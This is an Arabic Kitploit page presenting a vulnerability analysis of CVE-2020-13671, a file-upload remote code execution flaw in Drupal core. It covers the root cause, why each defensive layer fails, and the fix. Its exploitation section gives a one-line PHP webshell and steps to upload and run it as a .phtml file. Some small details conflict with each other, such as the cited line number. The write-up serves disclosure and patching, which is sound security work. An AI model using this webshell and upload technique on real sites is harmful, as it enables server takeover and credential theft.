Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-13671-old — CVE-2020-13671 - تحليل ثغرة RCE في Drupal عبر رفع الملفات وإثبات المفهوم | Kitploit
أدوات/GitHubGitHub/dungsocool/cve-2020-13671-old
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقتطوير الحمولات
GitHubdungsocool/cve-2020-13671-old

CVE-2020-13671-old

CVE-2020-13671 - تحليل ثغرة RCE في Drupal عبر رفع الملفات وإثبات المفهوم

عرض المستودع
منذ 3 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-13671

RCE عبر رفع الملفات — نواة Drupal

البرنامج: نواة Drupal 8.7.5 (الإصدارات المتأثرة: 7.x < 7.78، 8.x < 8.8.11، 8.9.x < 8.9.9، 9.0.x < 9.0.8)
CVSS: 8.8 (عالي)
CWE: CWE-434 — رفع ملفات غير مقيد بنوع خطير
CISA KEV: نعم — ثغرة معروفة ومستغلة
الاستشارة الأمنية: SA-CORE-2020-012

ما هو Drupal

Drupal هو نظام إدارة محتوى (CMS) مفتوح المصدر مكتوب بلغة PHP، مشابه لـ WordPress أو Joomla لكنه يميل نحو بناء أنظمة أكثر تعقيدًا — مواقع المؤسسات، المنصات متعددة اللغات. يعتمد Drupal على بنية معيارية (modular)، تسمح بتوسيع الوظائف عبر تمكين/تعطيل الوحدات المتاحة أو تثبيت وحدات إضافية من المجتمع.

من الوظائف الأساسية لأي CMS السماح للمستخدمين برفع الملفات — الصور الرمزية للملف الشخصي، المستندات المرفقة، المرفقات في المقالات. يحفظ Drupal هذه الملفات في دليل sites/default/files/ ويقدمها مباشرة عبر خادم الويب (Apache أو Nginx).

⇒ هذا يخلق سطح هجوم واضحًا: إذا تمكن المهاجم من رفع ملف PHP إلى ذلك الدليل، فسينفذه خادم الويب عند الوصول إليه عبر طلب وارد.

لمنع ذلك، يبني Drupal طبقات دفاع متعددة: التحقق من امتدادات الملفات، إعادة تسمية الملفات الخطرة، وضع .htaccess لمنع تنفيذ السكربتات في دليل الرفع. لكن في الإصدار 8.7.5، يستغل المهاجمون البقعة العمياء بين هذه الطبقات تحديدًا.

شروط الاستغلال

تتطلب هذه الثغرة حسابًا بصلاحيات رفع الملفات. افتراضيًا في Drupal 8.7.5، يملك المستخدمون العاديون (المصادق عليهم) صلاحيات عرض المحتوى ونشر التعليقات فقط — بدون صلاحية إنشاء المقالات أو رفع الملفات.

الحسابقابل للاستغلال؟التوضيح
المدير (Admin)نعمصلاحيات رفع كاملة
المحرر / منشئ المحتوىنعمإذا مُنح صلاحية "إنشاء محتوى" مع الرفع من قبل المدير
مستخدم مصادق (افتراضي)لاافتراضيًا ليس لديه صلاحية إنشاء محتوى أو رفع
مجهول (غير مسجل دخول)لالا توجد صلاحية رفع

لكن عمليًا، تمنح العديد من مواقع Drupal صلاحيات إنشاء المحتوى للمستخدمين العاديين (المنتديات، مدونات المجتمع، مواقع الأخبار التي تسمح بإرسال المقالات). في تلك الحالات، يحتاج المهاجم فقط إلى تسجيل حساب لاستغلالها.

مسار الهجوم:

root@kitploit:~
مهاجم بحساب بصلاحية رفع → إنشاء مقال (Article)
→ رفع webshell.phtml عبر حقل الصورة/المرفقات
→ يحفظ Drupal الملف باسمه الأصلي في sites/default/files/
→ يصل المهاجم إلى رابط الملف → ينفذ Apache ملفات PHP → RCE

السبب الجذري (ROOT CAUSE)

في الملف core/modules/file/file.module، يوجد تعبير regex واحد يحدد الملفات التي تُعتبر قابلة للتنفيذ:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

يسرد هذا التعبير 7 امتدادات: phar، php، pl، py، cgi، asp، js. أي ملف بامتداد يطابق هذه القائمة سيُلحق به .txt تلقائيًا بواسطة Drupal — مما يحيد إمكانية التنفيذ.

لكن محرك PHP لا يعالج ملفات .php فقط. اعتمادًا على إعدادات خادم الويب، فإنه يتعرف أيضًا على امتدادات أخرى وينفذها:

الامتدادالمعنىمذكور في التعبير؟
.phpPHP القياسينعم
.phtmlقالب PHP بديللا
.php5معالج PHP 5لا
.phtقالب PHPلا
.phpsكود PHP المصدرلا
.shtmlتضمينات الخادم (Server-Side Includes)لا

5 متغيرات من امتدادات PHP غائبة تمامًا عن التعبير. هذا يعني أن ملفًا باسم shell.phtml يُرسل إلى Drupal → التعبير لا يطابقه → لا يُعاد تسميته → يُحفظ باسمه الأصلي في دليل الرفع → يرى خادم الويب .phtml → ينفذه كـ PHP → يحقق المهاجم RCE. هذا هو السبب الجذري: استخدم Drupal قائمة سوداء لحظر الامتدادات الخطرة، لكن تلك القائمة كانت غير مكتملة.

تحليل كل طبقة دفاع

عند رفع مستخدم لملف، يمرره Drupal عبر 3 دوال تحقق قبل الحفظ. فيما يلي تحليل لسبب فشل الطبقات الثلاث مع .phtml.

الطبقة 1 — file_munge_filename() (core/includes/file.inc)

الغرض: اكتشاف الامتدادات الخطرة الموجودة في منتصف اسم الملف وإلحاق _ لتعطيلها. طريقة عمل الدالة:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

على سبيل المثال مع shell.phtml:

  • explode يقسم إلى ["shell", "phtml"]
  • shift يأخذ "shell"، ويبقى ["phtml"]
  • pop يأخذ "phtml"، ويبقى []
  • المصفوفة الوسطى فارغة → foreach لا ينفذ
  • يُرجع "shell.phtml" كما هو

لكن إذا كان للملف امتداد واحد فقط، فإنها لا تتدخل. وهكذا، صُممت هذه الدالة فقط للتعامل مع الملفات ذات الامتدادات المتعددة.

الطبقة 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

هذه هي طبقة الدفاع الرئيسية. الكود عند السطر 1015:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

إذا كان اسم الملف يطابق التعبير → يُغيَّر نوع MIME إلى text/plain ويُلحق .txt في النهاية.

مع shell.phtml:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') يُرجع 0
  • لا يوجد تطابق → لا يدخل كتلة if → يحتفظ الملف باسمه الأصلي وهكذا، كان يجب أن تمنع هذه المرحلة الملفات الخطرة، لكن لأن التعبير لا يعرف أن .phtml خطير، فإنه يمر دون اكتشاف.

الطبقة 3 — .htaccess في دليل الرفع

يضع Drupal ملف .htaccess في sites/default/files/:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

التوجيه php_flag engine off يعطل محرك PHP للدليل بأكمله، لكنه ينطبق فقط على mod_php5. يعمل Drupal 8.7.5 على PHP 7، مما يعني أن mod_php7 هو النشط وغير معطَّل.

كما أن .htaccess لديه 3 نقاط ضعف أخرى:

  • Nginx لا يقرأ .htaccess — هذا الملف غير فعّال تمامًا على Nginx
  • Apache المكوّن مع AllowOverride None → يتم تجاهل .htaccess
  • الخوادم التي تستخدم PHP-FPM بدلًا من mod_php → توجيه php_flag ليس له أي تأثير

الاستغلال

الخطوة 1 — إنشاء webshell

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

الخطوة 2 — رفع الملف

سجّل الدخول إلى Drupal بحساب لديه صلاحيات الرفع → المحتوى ← إضافة محتوى ← مقال → في حقل الصورة، اختر الملف webshell.phtml ← ارفع.

يقبل Drupal الملف، ولا يعيد تسميته، ويحفظه باسمه الأصلي في sites/default/files/.

image.png

الخطوة 3 — تنفيذ webshell

بعد ذلك، نفّذ استدعاء الصدفة مع whoami:

image.png

وهكذا، نجحنا في تحقيق RCE بصلاحيات www-data.

لمزيد من الاختبار لعرض بيانات الاعتماد:

image.png

النتيجة

يمكن للمهاجم قراءة settings.php الذي يحتوي على بيانات اعتماد قاعدة البيانات، وتفريغ قاعدة البيانات بالكامل، أو تثبيت ريفرس شل (reverse shell)، أو رفع الصلاحيات إلى root.

المعالجة

تحديث التعبير — إضافة الامتدادات الخمسة المفقودة:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

تحديث .htaccess — إضافة تعطيل لـ mod_php7:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

التصحيح يعمل لكنه ما زال يعتمد على قائمة سوداء. إذا ظهرت امتدادات جديدة مستقبلًا (.php8، .phpt)، فسيحتاج التعبير إلى تحديث مجددًا. القائمة البيضاء — السماح فقط بالامتدادات الآمنة المعروفة — ستكون نهجًا أكثر شمولًا.

الملخص

الملف المعرضcore/modules/file/file.module السطر 28
السبب الجذريالقائمة السوداء في التعبير تفتقد .phtml، .php5، .pht، .phps، .shtml
الأثررفع .phtml → ينفذه الخادم → RCE
طبقات الدفاع الثلاث التي تم تجاوزهاfile_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
التصحيحإضافة 5 امتدادات إلى التعبير + تعطيل mod_php7 في .htaccess
تنزيل الأداة